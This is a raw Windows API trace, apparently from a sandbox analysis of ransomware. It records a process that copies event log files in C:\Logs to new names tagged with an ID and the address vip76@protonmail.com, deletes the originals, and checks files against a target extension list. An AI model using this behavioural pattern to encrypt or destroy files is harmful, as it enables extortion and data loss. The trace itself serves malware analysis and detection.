	[0076.900] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x158, lpOverlapped=0x0) returned 1
	[0076.900] SetEndOfFile (hFile=0x38c) returned 1
	[0076.900] CloseHandle (hObject=0x38c) returned 1
	[0076.905] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.905] SetEndOfFile (hFile=0x370) returned 1
	[0076.907] CloseHandle (hObject=0x370) returned 1
	[0076.907] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.907] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1
	[0076.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.907] lstrlenW (lpString=".doc") returned 4
	[0076.907] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.907] lstrlenW (lpString=".docx") returned 5
	[0076.907] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.907] lstrlenW (lpString=".pdf") returned 4
	[0076.907] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.907] lstrlenW (lpString=".xls") returned 4
	[0076.907] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.907] lstrlenW (lpString=".xlsx") returned 5
	[0076.908] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.908] lstrlenW (lpString=".ppt") returned 4
	[0076.908] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.908] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.908] lstrlenW (lpString=".zip") returned 4
	[0076.908] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.908] lstrlenW (lpString=".rar") returned 4
	[0076.908] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.908] lstrlenW (lpString=".bz2") returned 4
	[0076.908] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.908] lstrlenW (lpString=".7z") returned 3
	[0076.908] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.908] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.908] lstrlenW (lpString=".dbf") returned 4
	[0076.908] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.908] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.908] lstrlenW (lpString=".1cd") returned 4
	[0076.908] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.908] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.908] lstrlenW (lpString=".jpg") returned 4
	[0076.908] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.908] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.908] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.908] lstrlenW (lpString=".doc") returned 4
	[0076.908] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.908] lstrlenW (lpString=".docx") returned 5
	[0076.908] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.908] lstrlenW (lpString=".pdf") returned 4
	[0076.908] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.908] lstrlenW (lpString=".xls") returned 4
	[0076.908] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.908] lstrlenW (lpString=".xlsx") returned 5
	[0076.908] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.909] lstrlenW (lpString=".ppt") returned 4
	[0076.909] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.909] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.909] lstrlenW (lpString=".zip") returned 4
	[0076.909] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.909] lstrlenW (lpString=".rar") returned 4
	[0076.909] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.909] lstrlenW (lpString=".bz2") returned 4
	[0076.909] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.909] lstrlenW (lpString=".7z") returned 3
	[0076.909] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.909] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.909] lstrlenW (lpString=".dbf") returned 4
	[0076.909] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.909] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.909] lstrlenW (lpString=".1cd") returned 4
	[0076.909] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.909] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0076.909] lstrlenW (lpString=".jpg") returned 4
	[0076.909] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.909] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.909] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72
	[0076.909] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.910] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0076.910] CloseHandle (hObject=0x370) returned 1
	[0076.910] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20
	[0076.910] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.910] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.910] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.910] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.910] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.910] GetLastError () returned 0x0
	[0076.910] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.913] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.915] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.915] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x164, lpOverlapped=0x0) returned 1
	[0076.915] SetEndOfFile (hFile=0x38c) returned 1
	[0076.915] CloseHandle (hObject=0x38c) returned 1
	[0077.445] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.445] SetEndOfFile (hFile=0x370) returned 1
	[0077.527] CloseHandle (hObject=0x370) returned 1
	[0077.527] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.527] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1
	[0077.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.527] lstrlenW (lpString=".doc") returned 4
	[0077.527] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.527] lstrlenW (lpString=".docx") returned 5
	[0077.527] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.527] lstrlenW (lpString=".pdf") returned 4
	[0077.527] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.527] lstrlenW (lpString=".xls") returned 4
	[0077.527] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.527] lstrlenW (lpString=".xlsx") returned 5
	[0077.528] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.528] lstrlenW (lpString=".ppt") returned 4
	[0077.528] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.528] lstrlenW (lpString=".zip") returned 4
	[0077.528] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.528] lstrlenW (lpString=".rar") returned 4
	[0077.528] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.528] lstrlenW (lpString=".bz2") returned 4
	[0077.528] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.528] lstrlenW (lpString=".7z") returned 3
	[0077.528] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.528] lstrlenW (lpString=".dbf") returned 4
	[0077.528] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.528] lstrlenW (lpString=".1cd") returned 4
	[0077.528] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.528] lstrlenW (lpString=".jpg") returned 4
	[0077.528] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.528] lstrlenW (lpString=".doc") returned 4
	[0077.528] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.528] lstrlenW (lpString=".docx") returned 5
	[0077.528] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.528] lstrlenW (lpString=".pdf") returned 4
	[0077.528] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.528] lstrlenW (lpString=".xls") returned 4
	[0077.529] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.529] lstrlenW (lpString=".xlsx") returned 5
	[0077.529] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.529] lstrlenW (lpString=".ppt") returned 4
	[0077.529] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.529] lstrlenW (lpString=".zip") returned 4
	[0077.529] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.529] lstrlenW (lpString=".rar") returned 4
	[0077.529] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.529] lstrlenW (lpString=".bz2") returned 4
	[0077.529] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.529] lstrlenW (lpString=".7z") returned 3
	[0077.529] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.529] lstrlenW (lpString=".dbf") returned 4
	[0077.529] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.529] lstrlenW (lpString=".1cd") returned 4
	[0077.529] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0077.529] lstrlenW (lpString=".jpg") returned 4
	[0077.529] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.530] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.530] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57
	[0077.530] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0077.530] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0077.530] CloseHandle (hObject=0x370) returned 1
	[0077.530] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20
	[0077.530] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.530] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0077.531] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.531] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.531] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0077.531] GetLastError () returned 0x0
	[0077.531] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.534] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.536] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.536] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x146, lpOverlapped=0x0) returned 1
	[0077.536] SetEndOfFile (hFile=0x33c) returned 1
	[0077.536] CloseHandle (hObject=0x33c) returned 1
	[0077.539] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.539] SetEndOfFile (hFile=0x370) returned 1
	[0077.540] CloseHandle (hObject=0x370) returned 1
	[0077.540] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.540] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1
	[0077.540] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.540] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.540] lstrlenW (lpString=".doc") returned 4
	[0077.540] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.541] lstrlenW (lpString=".docx") returned 5
	[0077.541] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.541] lstrlenW (lpString=".pdf") returned 4
	[0077.541] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.541] lstrlenW (lpString=".xls") returned 4
	[0077.541] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.541] lstrlenW (lpString=".xlsx") returned 5
	[0077.541] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.541] lstrlenW (lpString=".ppt") returned 4
	[0077.541] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.541] lstrlenW (lpString=".zip") returned 4
	[0077.541] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.541] lstrlenW (lpString=".rar") returned 4
	[0077.541] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.541] lstrlenW (lpString=".bz2") returned 4
	[0077.541] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.541] lstrlenW (lpString=".7z") returned 3
	[0077.541] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.541] lstrlenW (lpString=".dbf") returned 4
	[0077.541] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.541] lstrlenW (lpString=".1cd") returned 4
	[0077.541] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.541] lstrlenW (lpString=".jpg") returned 4
	[0077.541] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.541] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.541] lstrlenW (lpString=".doc") returned 4
	[0077.542] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.542] lstrlenW (lpString=".docx") returned 5
	[0077.542] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.542] lstrlenW (lpString=".pdf") returned 4
	[0077.542] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.542] lstrlenW (lpString=".xls") returned 4
	[0077.542] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.542] lstrlenW (lpString=".xlsx") returned 5
	[0077.542] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.542] lstrlenW (lpString=".ppt") returned 4
	[0077.542] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.542] lstrlenW (lpString=".zip") returned 4
	[0077.542] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.542] lstrlenW (lpString=".rar") returned 4
	[0077.542] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.542] lstrlenW (lpString=".bz2") returned 4
	[0077.542] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.542] lstrlenW (lpString=".7z") returned 3
	[0077.542] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.542] lstrlenW (lpString=".dbf") returned 4
	[0077.542] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.543] lstrlenW (lpString=".1cd") returned 4
	[0077.543] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65
	[0077.543] lstrlenW (lpString=".jpg") returned 4
	[0077.543] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.543] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.543] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44
	[0077.543] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0077.543] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0077.543] CloseHandle (hObject=0x370) returned 1
	[0077.543] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20
	[0077.544] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.544] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0077.544] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.544] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.544] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0077.545] GetLastError () returned 0x0
	[0077.545] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.547] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.549] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.549] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x12c, lpOverlapped=0x0) returned 1
	[0077.549] SetEndOfFile (hFile=0x33c) returned 1
	[0077.550] CloseHandle (hObject=0x33c) returned 1
